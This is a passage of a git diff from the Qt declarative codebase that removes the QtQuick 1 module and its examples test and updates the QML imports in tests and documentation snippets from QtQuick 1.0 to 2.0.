endl + << "QDeclarativeView class in the qtquick1 module." << endl; delete obj; root = 0; } diff --git a/src/quick/items/qquickvisualitemmodel.cpp b/src/quick/items/qquickvisualitemmodel.cpp index 52393d59a3..2a24e3946c 100644 --- a/src/quick/items/qquickvisualitemmodel.cpp +++ b/src/quick/items/qquickvisualitemmodel.cpp @@ -132,7 +132,7 @@ class QQuickVisualItemModelPrivate : public QObjectPrivate The example below places three colored rectangles in a ListView. \code - import QtQuick 1.0 + import QtQuick 2.0 Rectangle { VisualItemModel { diff --git a/src/quick/util/qdeclarativefontloader.cpp b/src/quick/util/qdeclarativefontloader.cpp index 9d15646863..78597b6efd 100644 --- a/src/quick/util/qdeclarativefontloader.cpp +++ b/src/quick/util/qdeclarativefontloader.cpp @@ -156,7 +156,7 @@ QHash QDeclarativeFontLoaderPrivate::fonts; For example: \qml - import QtQuick 1.0 + import QtQuick 2.0 Column { FontLoader { id: fixedFont; name: "Courier" } diff --git a/src/quick/util/qdeclarativetimer.cpp b/src/quick/util/qdeclarativetimer.cpp index e47ce24d1e..e4ec54f7eb 100644 --- a/src/quick/util/qdeclarativetimer.cpp +++ b/src/quick/util/qdeclarativetimer.cpp @@ -82,7 +82,7 @@ class QDeclarativeTimerPrivate : public QObjectPrivate object to access the current time. \qml - import QtQuick 1.0 + import QtQuick 2.0 Item { Timer { diff --git a/src/src.pro b/src/src.pro index 7518ccf8da..f8ef168260 100644 --- a/src/src.pro +++ b/src/src.pro @@ -1,6 +1,6 @@ TEMPLATE = subdirs CONFIG += ordered -SUBDIRS += declarative quick qtquick1 plugins +SUBDIRS += declarative quick plugins contains(QT_CONFIG, qmltest): SUBDIRS += qmltest diff --git a/sync.profile b/sync.profile index dab548f760..efde01d952 100644 --- a/sync.profile +++ b/sync.profile @@ -1,7 +1,6 @@ %modules = ( # path to module name map "QtDeclarative" => "$basedir/src/declarative", "QtQuick" => "$basedir/src/quick", - "QtQuick1" => "$basedir/src/qtquick1", "QtQuickTest" => "$basedir/src/qmltest", "QtQmlDevTools" => "$basedir/src/qmldevtools", ); @@ -20,7 +19,6 @@ %modulepris = ( "QtDeclarative" => "$basedir/modules/qt_declarative.pri", "QtQuick" => "$basedir/modules/qt_quick.pri", - "QtQuick1" => "$basedir/modules/qt_qtquick1.pri", "QtQuickTest" => "$basedir/modules/qt_qmltest.pri", "QtQmlDevTools" => "$basedir/modules/qt_qmldevtools.pri", ); diff --git a/tests/auto/declarative/debugger/qdeclarativeinspector/app/app.pro b/tests/auto/declarative/debugger/qdeclarativeinspector/app/app.pro index 90595df881..6433631c4b 100644 --- a/tests/auto/declarative/debugger/qdeclarativeinspector/app/app.pro +++ b/tests/auto/declarative/debugger/qdeclarativeinspector/app/app.pro @@ -1,5 +1,5 @@ TARGET = app -QT += declarative quick widgets qtquick1 +QT += declarative quick widgets CONFIG += declarative_debug macx:CONFIG -= app_bundle diff --git a/tests/auto/declarative/debugger/qdeclarativeinspector/app/main.cpp b/tests/auto/declarative/debugger/qdeclarativeinspector/app/main.cpp index 03db274201..a7ef09c283 100644 --- a/tests/auto/declarative/debugger/qdeclarativeinspector/app/main.cpp +++ b/tests/auto/declarative/debugger/qdeclarativeinspector/app/main.cpp @@ -43,7 +43,6 @@ #include #include #include -#include int main(int argc, char *argv[]) { @@ -66,8 +65,7 @@ int main(int argc, char *argv[]) QQuickView *view = new QQuickView(); view->setSource(QUrl::fromLocalFile("app/qtquick2.qml")); } else { - QDeclarativeView *view = new QDeclarativeView(); - view->setSource(QUrl::fromLocalFile("app/qtquick1.qml")); + qWarning("No suitable QtQuick1 implementation is available!"); } return app.exec(); } diff --git a/tests/auto/declarative/debugger/qdeclarativeinspector/app/qtquick1.qml b/tests/auto/declarative/debugger/qdeclarativeinspector/app/qtquick1.qml deleted file mode 100644 index 1709ef14a4..0000000000 --- a/tests/auto/declarative/debugger/qdeclarativeinspector/app/qtquick1.qml +++ /dev/null @@ -1,5 +0,0 @@ -import QtQuick 1.0 - -Item { - -} diff --git a/tests/auto/declarative/parserstress/tst_parserstress.cpp b/tests/auto/declarative/parserstress/tst_parserstress.cpp index 9885392ba2..25ecef15f6 100644 --- a/tests/auto/declarative/parserstress/tst_parserstress.cpp +++ b/tests/auto/declarative/parserstress/tst_parserstress.cpp @@ -110,7 +110,7 @@ void tst_parserstress::ecmascript() QString dataStr = QString::fromUtf8(data); - QString qml = "import QtQuick 1.0\n"; + QString qml = "import QtQuick 2.0\n"; qml+= "\n"; qml+= "QtObject {\n"; qml+= " property int test\n"; diff --git a/tests/auto/declarative/qdeclarativecontext/tst_qdeclarativecontext.cpp b/tests/auto/declarative/qdeclarativecontext/tst_qdeclarativecontext.cpp index edb025ed49..05db898045 100644 --- a/tests/auto/declarative/qdeclarativecontext/tst_qdeclarativecontext.cpp +++ b/tests/auto/declarative/qdeclarativecontext/tst_qdeclarativecontext.cpp @@ -236,7 +236,7 @@ class TestObject : public QObject #define TEST_CONTEXT_PROPERTY(ctxt, name, value) \ { \ QDeclarativeComponent component(&engine); \ - component.setData("import QtQuick 1.0; QtObject { property variant test: " #name " }", QUrl()); \ + component.setData("import QtQuick 2.0; QtObject { property variant test: " #name " }", QUrl()); \ \ QObject *obj = component.create(ctxt); \ \ @@ -286,7 +286,7 @@ void tst_qdeclarativecontext::setContextProperty() // Changes in context properties { QDeclarativeComponent component(&engine); - component.setData("import QtQuick 1.0; QtObject { property variant test: a }", QUrl()); + component.setData("import QtQuick 2.0; QtObject { property variant test: a }", QUrl()); QObject *obj = component.create(&ctxt2); @@ -298,7 +298,7 @@ void tst_qdeclarativecontext::setContextProperty() } { QDeclarativeComponent component(&engine); - component.setData("import QtQuick 1.0; QtObject { property variant test: b }", QUrl()); + component.setData("import QtQuick 2.0; QtObject { property variant test: b }", QUrl()); QObject *obj = component.create(&ctxt2); @@ -312,7 +312,7 @@ void tst_qdeclarativecontext::setContextProperty() } { QDeclarativeComponent component(&engine); - component.setData("import QtQuick 1.0; QtObject { property variant test: e.a }", QUrl()); + component.setData("import QtQuick 2.0; QtObject { property variant test: e.a }", QUrl()); QObject *obj = component.create(&ctxt2); @@ -326,7 +326,7 @@ void tst_qdeclarativecontext::setContextProperty() // New context properties { QDeclarativeComponent component(&engine); - component.setData("import QtQuick 1.0; QtObject { property variant test: a }", QUrl()); + component.setData("import QtQuick 2.0; QtObject { property variant test: a }", QUrl()); QObject *obj = component.create(&ctxt2); @@ -340,7 +340,7 @@ void tst_qdeclarativecontext::setContextProperty() // Setting an object-variant context property { QDeclarativeComponent component(&engine); - component.setData("import QtQuick 1.0; QtObject { id: root; property int a: 10; property int test: ctxtProp.a; property variant obj: root; }", QUrl()); + component.setData("import QtQuick 2.0; QtObject { id: root; property int a: 10; property int test: ctxtProp.a; property variant obj: root; }", QUrl()); QDeclarativeContext ctxt(engine.rootContext()); ctxt.setContextProperty("ctxtProp", QVariant()); @@ -388,7 +388,7 @@ void tst_qdeclarativecontext::setContextObject() // Changes in context properties { QDeclarativeComponent component(&engine); - component.setData("import QtQuick 1.0; QtObject { property variant test: a }", QUrl()); + component.setData("import QtQuick 2.0; QtObject { property variant test: a }", QUrl()); QObject *obj = component.create(&ctxt); @@ -420,7 +420,7 @@ void tst_qdeclarativecontext::destruction() void tst_qdeclarativecontext::idAsContextProperty() { QDeclarativeComponent component(&engine); - component.setData("import QtQuick 1.0; QtObject { property variant a; a: QtObject { id: myObject } }", QUrl()); + component.setData("import QtQuick 2.0; QtObject { property variant a; a: QtObject { id: myObject } }", QUrl()); QObject *obj = component.create(); QVERIFY(obj); @@ -440,7 +440,7 @@ void tst_qdeclarativecontext::idAsContextProperty() void tst_qdeclarativecontext::readOnlyContexts() { QDeclarativeComponent component(&engine); - component.setData("import QtQuick 1.0; QtObject { id: me }", QUrl()); + component.setData("import QtQuick 2.0; QtObject { id: me }", QUrl()); QObject *obj = component.create(); QVERIFY(obj); @@ -485,7 +485,7 @@ void tst_qdeclarativecontext::nameForObject() // As an id QDeclarativeComponent component(&engine); - component.setData("import QtQuick 1.0; QtObject { id: root; property QtObject o: QtObject { id: nested } }", QUrl()); + component.setData("import QtQuick 2.0; QtObject { id: root; property QtObject o: QtObject { id: nested } }", QUrl()); QObject *o = component.create(); QVERIFY(o != 0); diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/AliasToCompositeElementType1.qml b/tests/auto/declarative/qdeclarativeecmascript/data/AliasToCompositeElementType1.qml index 723b9c39fd..cef8ae09ea 100644 --- a/tests/auto/declarative/qdeclarativeecmascript/data/AliasToCompositeElementType1.qml +++ b/tests/auto/declarative/qdeclarativeecmascript/data/AliasToCompositeElementType1.qml @@ -1,4 +1,4 @@ -import QtQuick 1.0 +import QtQuick 2.0 QtObject { property alias group: obj diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/AliasToCompositeElementType2.qml b/tests/auto/declarative/qdeclarativeecmascript/data/AliasToCompositeElementType2.qml index 4127ca4375..4a45535a50 100644 --- a/tests/auto/declarative/qdeclarativeecmascript/data/AliasToCompositeElementType2.qml +++ b/tests/auto/declarative/qdeclarativeecmascript/data/AliasToCompositeElementType2.qml @@ -1,4 +1,4 @@ -import QtQuick 1.0 +import QtQuick 2.0 QtObject { property int value diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/ElementAssignType.qml b/tests/auto/declarative/qdeclarativeecmascript/data/ElementAssignType.qml index 4127ca4375..4a45535a50 100644 --- a/tests/auto/declarative/qdeclarativeecmascript/data/ElementAssignType.qml +++ b/tests/auto/declarative/qdeclarativeecmascript/data/ElementAssignType.qml @@ -1,4 +1,4 @@ -import QtQuick 1.0 +import QtQuick 2.0 QtObject { property int value diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/aliasToCompositeElement.qml b/tests/auto/declarative/qdeclarativeecmascript/data/aliasToCompositeElement.qml index 612c599184..79d6e6887c 100644 --- a/tests/auto/declarative/qdeclarativeecmascript/data/aliasToCompositeElement.qml +++ b/tests/auto/declarative/qdeclarativeecmascript/data/aliasToCompositeElement.qml @@ -1,4 +1,4 @@ -import QtQuick 1.0 +import QtQuick 2.0 AliasToCompositeElementType1 { group.value: 13 diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/aliasPropertyReset.1.qml b/tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/aliasPropertyReset.1.qml index a27c16dd2e..b855a183ee 100644 --- a/tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/aliasPropertyReset.1.qml +++ b/tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/aliasPropertyReset.1.qml @@ -1,4 +1,4 @@ -import QtQuick 1.0 +import QtQuick 2.0 import Qt.test 1.0 Item { diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/aliasPropertyReset.2.qml b/tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/aliasPropertyReset.2.qml index fa2bb5eb6d..b0bb3681cf 100644 --- a/tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/aliasPropertyReset.2.qml +++ b/tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/aliasPropertyReset.2.qml @@ -1,4 +1,4 @@ -import QtQuick 1.0 +import QtQuick 2.0 import Qt.test 1.0 Item { diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/aliasPropertyReset.3.qml b/tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/aliasPropertyReset.3.qml index 4fa6861b08..b318af0138 100644 --- a/tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/aliasPropertyReset.3.qml +++ b/tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/aliasPropertyReset.3.qml @@ -1,4 +1,4 @@ -import QtQuick 1.0 +import QtQuick 2.0 import Qt.test 1.0 Item { diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/aliasPropertyReset.4.qml b/tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/aliasPropertyReset.4.qml index 56fcc2ec7c..c5f56a8798 100644 --- a/tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/aliasPropertyReset.4.qml +++ b/tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/aliasPropertyReset.4.qml @@ -1,4 +1,4 @@ -import QtQuick 1.0 +import QtQuick 2.0 import Qt.test 1.0 Item { diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/aliasPropertyReset.5.qml b/tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/aliasPropertyReset.5.qml index a046bbf504..b07db8ba40 100644 --- a/tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/aliasPropertyReset.5.qml +++ b/tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/aliasPropertyReset.5.qml @@ -1,4 +1,4 @@ -import QtQuick 1.0 +import QtQuick 2.0 import Qt.test 1.0 Item { diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/aliasPropertyReset.error.1.qml b/tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/aliasPropertyReset.error.1.qml index 22311d6bb3..35c9d6fd5d 100644 --- a/tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/aliasPropertyReset.error.1.qml +++ b/tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/aliasPropertyReset.error.1.qml @@ -1,4 +1,4 @@ -import QtQuick 1.0 +import QtQuick 2.0 import Qt.test 1.0 MyQmlObject { diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/booleanConversion.qml b/tests/auto/declarative/qdeclarativeecmascript/data/booleanConversion.qml index a7e08ecc56..a363cf4dd1 100644 --- a/tests/auto/declarative/qdeclarativeecmascript/data/booleanConversion.qml +++ b/tests/auto/declarative/qdeclarativeecmascript/data/booleanConversion.qml @@ -1,4 +1,4 @@ -import QtQuick 1.0 +import QtQuick 2.0 QtObject { id: root diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/dynamicDeletion.2.qml b/tests/auto/declarative/qdeclarativeecmascript/data/dynamicDeletion.2.qml index 70c281691b..9a5732c194 100644 --- a/tests/auto/declarative/qdeclarativeecmascript/data/dynamicDeletion.2.qml +++ b/tests/auto/declarative/qdeclarativeecmascript/data/dynamicDeletion.2.qml @@ -1,4 +1,4 @@ -import QtQuick 1.0 +import QtQuick 2.0 QtObject { id: root diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/elementAssign.qml b/tests/auto/declarative/qdeclarativeecmascript/data/elementAssign.qml index 61854df71c..0d75cbf6fc 100644 --- a/tests/auto/declarative/qdeclarativeecmascript/data/elementAssign.qml +++ b/tests/auto/declarative/qdeclarativeecmascript/data/elementAssign.qml @@ -1,4 +1,4 @@ -import QtQuick 1.0 +import QtQuick 2.0 QtObject { id: root diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/importScope.qml b/tests/auto/declarative/qdeclarativeecmascript/data/importScope.qml index a72847f0d7..9b907f11f9 100644 --- a/tests/auto/declarative/qdeclarativeecmascript/data/importScope.qml +++ b/tests/auto/declarative/qdeclarativeecmascript/data/importScope.qml @@ -1,4 +1,4 @@ -import QtQuick 1.0 +import QtQuick 2.0 import "importScope.1.js" as ImportScope1 import "importScope.2.js" as ImportScope2 diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/objectsPassThroughSignals.qml b/tests/auto/declarative/qdeclarativeecmascript/data/objectsPassThroughSignals.qml index 0c99f12e7d..98f9e05bdf 100644 --- a/tests/auto/declarative/qdeclarativeecmascript/data/objectsPassThroughSignals.qml +++ b/tests/auto/declarative/qdeclarativeecmascript/data/objectsPassThroughSignals.qml @@ -1,4 +1,4 @@ -import QtQuick 1.0 +import QtQuick 2.0 QtObject { id: root diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/qtbug_21864.qml b/tests/auto/declarative/qdeclarativeecmascript/data/qtbug_21864.qml index a8f679baec..0f972d5459 100644 --- a/tests/auto/declarative/qdeclarativeecmascript/data/qtbug_21864.qml +++ b/tests/auto/declarative/qdeclarativeecmascript/data/qtbug_21864.qml @@ -1,5 +1,5 @@ import "qtbug_21864.js" as Test -import QtQuick 1.0 +import QtQuick 2.0 QtObject { property bool test: Test.test diff --git a/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp b/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp index 9c844057a6..214a99bb8d 100644 --- a/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp +++ b/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp @@ -2695,7 +2695,7 @@ void tst_qdeclarativeecmascript::cppOwnershipReturnValue() QVERIFY(source.value == 0); QDeclarativeComponent component(&engine); - component.setData("import QtQuick 1.0\nQtObject {\nComponent.onCompleted: { var a = source.create(); }\n}\n", QUrl()); + component.setData("import QtQuick 2.0\nQtObject {\nComponent.onCompleted: { var a = source.create(); }\n}\n", QUrl()); QObject *object = component.create(); @@ -2723,7 +2723,7 @@ void tst_qdeclarativeecmascript::ownershipCustomReturnValue() QVERIFY(source.value == 0); QDeclarativeComponent component(&engine); - component.setData("import QtQuick 1.0\nQtObject {\nComponent.onCompleted: { var a = source.createQmlObject(); }\n}\n", QUrl()); + component.setData("import QtQuick 2.0\nQtObject {\nComponent.onCompleted: { var a = source.createQmlObject(); }\n}\n", QUrl()); QObject *object = component.create(); diff --git a/tests/auto/declarative/qdeclarativeengine/tst_qdeclarativeengine.cpp b/tests/auto/declarative/qdeclarativeengine/tst_qdeclarativeengine.cpp index f8b0ef625d..1de738f81f 100644 --- a/tests/auto/declarative/qdeclarativeengine/tst_qdeclarativeengine.cpp +++ b/tests/auto/declarative/qdeclarativeengine/tst_qdeclarativeengine.cpp @@ -197,7 +197,7 @@ void tst_qdeclarativeengine::clearComponentCache() { QFile file("temp.qml"); QVERIFY(file.open(QIODevice::WriteOnly)); - file.write("import QtQuick 1.0\nQtObject {\nproperty int test: 10\n}\n"); + file.write("import QtQuick 2.0\nQtObject {\nproperty int test: 10\n}\n"); file.close(); } @@ -214,7 +214,7 @@ void tst_qdeclarativeengine::clearComponentCache() { QFile file("temp.qml"); QVERIFY(file.open(QIODevice::WriteOnly)); - file.write("import QtQuick 1.0\nQtObject {\nproperty int test: 11\n}\n"); + file.write("import QtQuick 2.0\nQtObject {\nproperty int test: 11\n}\n"); file.close(); } @@ -253,7 +253,7 @@ void tst_qdeclarativeengine::outputWarningsToStandardError() QCOMPARE(engine.outputWarningsToStandardError(), true); QDeclarativeComponent c(&engine); - c.setData("import QtQuick 1.0; QtObject { property int a: undefined }", QUrl()); + c.setData("import QtQuick 2.0; QtObject { property int a: undefined }", QUrl()); QVERIFY(c.isReady() == true); @@ -310,7 +310,7 @@ void tst_qdeclarativeengine::objectOwnership() { QDeclarativeEngine engine; QDeclarativeComponent c(&engine); - c.setData("import QtQuick 1.0; QtObject { property QtObject object: QtObject {} }", QUrl()); + c.setData("import QtQuick 2.0; QtObject { property QtObject object: QtObject {} }", QUrl()); QObject *o = c.create(); QVERIFY(o != 0); diff --git a/tests/auto/declarative/qdeclarativeexpression/data/scriptString.qml b/tests/auto/declarative/qdeclarativeexpression/data/scriptString.qml index edd4048cc1..38c3d1b456 100644 --- a/tests/auto/declarative/qdeclarativeexpression/data/scriptString.qml +++ b/tests/auto/declarative/qdeclarativeexpression/data/scriptString.qml @@ -1,4 +1,4 @@ -import QtQuick 1.0 +import QtQuick 2.0 import Test 1.0 TestObject { diff --git a/tests/auto/declarative/qdeclarativelanguage/data/NestedComponentRoot.qml b/tests/auto/declarative/qdeclarativelanguage/data/NestedComponentRoot.qml index 785a27dd79..887d7fae50 100644 --- a/tests/auto/declarative/qdeclarativelanguage/data/NestedComponentRoot.qml +++ b/tests/auto/declarative/qdeclarativelanguage/data/NestedComponentRoot.qml @@ -1,4 +1,4 @@ -import QtQuick 1.0 +import QtQuick 2.0 Component { Item { diff --git a/tests/auto/declarative/qdeclarativelanguage/data/assignLiteralToVar.qml b/tests/auto/declarative/qdeclarativelanguage/data/assignLiteralToVar.qml index 65826dcc87..89e66c6172 100644 --- a/tests/auto/declarative/qdeclarativelanguage/data/assignLiteralToVar.qml +++ b/tests/auto/declarative/qdeclarativelanguage/data/assignLiteralToVar.qml @@ -1,7 +1,7 @@ // This tests assigning literals to "var" properties. // These properties store JavaScript object references. -import QtQuick 1.0 +import QtQuick 2.0 QtObject { property var test1: 1 diff --git a/tests/auto/declarative/qdeclarativelanguage/data/nestedComponentRoots.qml b/tests/auto/declarative/qdeclarativelanguage/data/nestedComponentRoots.qml index 361bcbcb56..5e6c2a91c9 100644 --- a/tests/auto/declarative/qdeclarativelanguage/data/nestedComponentRoots.qml +++ b/tests/auto/declarative/qdeclarativelanguage/data/nestedComponentRoots.qml @@ -1,4 +1,4 @@ -import QtQuick 1.0 +import QtQuick 2.0 NestedComponentRoot { } diff --git a/tests/auto/declarative/qdeclarativelanguage/data/remoteLoadCrash.qml b/tests/auto/declarative/qdeclarativelanguage/data/remoteLoadCrash.qml index d96a31f8f7..5f237d39a2 100644 --- a/tests/auto/declarative/qdeclarativelanguage/data/remoteLoadCrash.qml +++ b/tests/auto/declarative/qdeclarativelanguage/data/remoteLoadCrash.qml @@ -1,3 +1,3 @@ -import QtQuick 1.0 +import QtQuick 2.0 Text { } diff --git a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp index 0d521fb67b..480a898ff0 100644 --- a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp +++ b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp @@ -2276,7 +2276,7 @@ void tst_qdeclarativelanguage::remoteLoadCrash() server.serveDirectory(testdata()); QDeclarativeComponent component(&engine); - component.setData("import QtQuick 1.0; Text {}", QUrl("http://127.0.0.1:14448/remoteLoadCrash.qml")); + component.setData("import QtQuick 2.0; Text {}", QUrl("http://127.0.0.1:14448/remoteLoadCrash.qml")); while (component.isLoading()) QCoreApplication::processEvents( QEventLoop::ExcludeUserInputEvents | QEventLoop::WaitForMoreEvents, 50); diff --git a/tests/auto/declarative/qdeclarativeqt/data/dateTimeConversion.qml b/tests/auto/declarative/qdeclarativeqt/data/dateTimeConversion.qml index 4260c8ab22..641ba6e1ca 100644 --- a/tests/auto/declarative/qdeclarativeqt/data/dateTimeConversion.qml +++ b/tests/auto/declarative/qdeclarativeqt/data/dateTimeConversion.qml @@ -1,4 +1,4 @@ -import QtQuick 1.0 +import QtQuick 2.0 QtObject { // months are 0-based - so January = 0, December = 11. diff --git a/tests/auto/declarative/qdeclarativeworkerscript/data/stressDispose.qml b/tests/auto/declarative/qdeclarativeworkerscript/data/stressDispose.qml index d05918a074..3e8465d6fe 100644 --- a/tests/auto/declarative/qdeclarativeworkerscript/data/stressDispose.qml +++ b/tests/auto/declarative/qdeclarativeworkerscript/data/stressDispose.qml @@ -1,4 +1,4 @@ -import QtQuick 1.0 +import QtQuick 2.0 Item { WorkerScript { diff --git a/tests/auto/qmltest/borderimage/tst_borderimage.qml b/tests/auto/qmltest/borderimage/tst_borderimage.qml index 3ac2a6c5cb..98a71711ed 100644 --- a/tests/auto/qmltest/borderimage/tst_borderimage.qml +++ b/tests/auto/qmltest/borderimage/tst_borderimage.qml @@ -127,7 +127,7 @@ Item { } var img = Qt.createQmlObject - ('import QtQuick 1.0; BorderImage { source: "' + + ('import QtQuick 2.0; BorderImage { source: "' + row.source + '" }', top) if (row.remote) @@ -204,7 +204,7 @@ Item { function test_sciSource(row) { var img = Qt.createQmlObject - ('import QtQuick 1.0; BorderImage { source: "' + + ('import QtQuick 2.0; BorderImage { source: "' + row.source + '"; width: 300; height: 300 }', top) if (row.remote) diff --git a/tests/auto/qtquick1/examples/data/dummytest.qml b/tests/auto/qtquick1/examples/data/dummytest.qml deleted file mode 100644 index b20e907f27..0000000000 --- a/tests/auto/qtquick1/examples/data/dummytest.qml +++ /dev/null @@ -1,6 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { msec: 0 } - Frame { msec: 10 } -} diff --git a/tests/auto/qtquick1/examples/data/webbrowser/webbrowser.qml b/tests/auto/qtquick1/examples/data/webbrowser/webbrowser.qml deleted file mode 100644 index d31787b939..0000000000 --- a/tests/auto/qtquick1/examples/data/webbrowser/webbrowser.qml +++ /dev/null @@ -1,6 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { msec: 0 } - Frame { msec: 2000 } -} diff --git a/tests/auto/qtquick1/examples/examples.pro b/tests/auto/qtquick1/examples/examples.pro deleted file mode 100644 index 3086ea1413..0000000000 --- a/tests/auto/qtquick1/examples/examples.pro +++ /dev/null @@ -1,14 +0,0 @@ -CONFIG += testcase -TARGET = tst_examples -macx:CONFIG -= app_bundle - -include(../../../../tools/qmlviewer/qml.pri) - -SOURCES += tst_examples.cpp -DEFINES += SRCDIR=\\\"$$PWD\\\" - -CONFIG += parallel_test - -QT += core-private gui-private widgets-private declarative-private qtquick1-private testlib - -CONFIG+=insignificant_test # QTBUG-20990, aborts diff --git a/tests/auto/qtquick1/examples/tst_examples.cpp b/tests/auto/qtquick1/examples/tst_examples.cpp deleted file mode 100644 index 4e8e146e40..0000000000 --- a/tests/auto/qtquick1/examples/tst_examples.cpp +++ /dev/null @@ -1,212 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the test suite of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include -#include -#include -#include -#include -#include "qmlruntime.h" -#include -#include - -class tst_examples : public QObject -{ - Q_OBJECT -public: - tst_examples(); - -private slots: - void examples_data(); - void examples(); - - void namingConvention(); -private: - QStringList excludedDirs; - - void namingConvention(const QDir &); - QStringList findQmlFiles(const QDir &); -}; - -tst_examples::tst_examples() -{ - // Add directories you want excluded here - -#ifdef QT_NO_WEBKIT - excludedDirs << "examples/declarative/qtquick1/modelviews/webview"; - excludedDirs << "examples/declarative/qtquick1/webbrowser"; - excludedDirs << "doc/src/snippets/declarative/qtquick1/webview"; - excludedDirs << "doc/src/snippets/qtquick1/qtquick1/webview"; -#endif - -#ifdef QT_NO_XMLPATTERNS - excludedDirs << "examples/declarative/qtquick1/xml/xmldata"; - excludedDirs << "examples/declarative/qtquick1/twitter"; - excludedDirs << "examples/declarative/qtquick1/flickr"; - excludedDirs << "examples/declarative/qtquick1/photoviewer"; -#endif -} - -/* -This tests that the examples follow the naming convention required -to have them tested by the examples() test. -*/ -void tst_examples::namingConvention(const QDir &d) -{ - for (int ii = 0; ii < excludedDirs.count(); ++ii) { - QString s = excludedDirs.at(ii); - if (d.absolutePath().endsWith(s)) - return; - } - - QStringList files = d.entryList(QStringList() << QLatin1String("*.qml"), - QDir::Files); - - bool seenQml = !files.isEmpty(); - bool seenLowercase = false; - - foreach (const QString &file, files) { - if (file.at(0).isLower()) - seenLowercase = true; - } - - if (!seenQml) { - QStringList dirs = d.entryList(QDir::Dirs | QDir::NoDotAndDotDot | - QDir::NoSymLinks); - foreach (const QString &dir, dirs) { - QDir sub = d; - sub.cd(dir); - namingConvention(sub); - } - } else if (!seenLowercase) { - QFAIL(qPrintable(QString( - "Directory %1 violates naming convention; expected at least one qml file " - "starting with lower case, got: %2" - ).arg(d.absolutePath()).arg(files.join(",")))); - } -} - -void tst_examples::namingConvention() -{ - QString examples = QLibraryInfo::location(QLibraryInfo::ExamplesPath); - - namingConvention(QDir(examples)); -} - -QStringList tst_examples::findQmlFiles(const QDir &d) -{ - for (int ii = 0; ii < excludedDirs.count(); ++ii) { - QString s = excludedDirs.at(ii); - if (d.absolutePath().endsWith(s)) - return QStringList(); - } - - QStringList rv; - - QStringList cppfiles = d.entryList(QStringList() << QLatin1String("*.cpp"), QDir::Files); - if (cppfiles.isEmpty()) { - QStringList files = d.entryList(QStringList() << QLatin1String("*.qml"), - QDir::Files); - foreach (const QString &file, files) { - if (file.at(0).isLower()) { - rv << d.absoluteFilePath(file); - } - } - } - - QStringList dirs = d.entryList(QDir::Dirs | QDir::NoDotAndDotDot | - QDir::NoSymLinks); - foreach (const QString &dir, dirs) { - QDir sub = d; - sub.cd(dir); - rv << findQmlFiles(sub); - } - - return rv; -} - -/* -This test runs all the examples in the declarative UI source tree and ensures -that they start and exit cleanly. - -Examples are any .qml files under the examples/ directory that start -with a lower case letter. -*/ -static void silentErrorsMsgHandler(QtMsgType, const char *) -{ -} - - -void tst_examples::examples_data() -{ - QTest::addColumn("file"); - - QString examples = QLatin1String(SRCDIR) + "/../../../../examples/declarative/qtquick1"; - - QStringList files; - files << findQmlFiles(QDir(examples)); - - foreach (const QString &file, files) - QTest::newRow(qPrintable(file)) 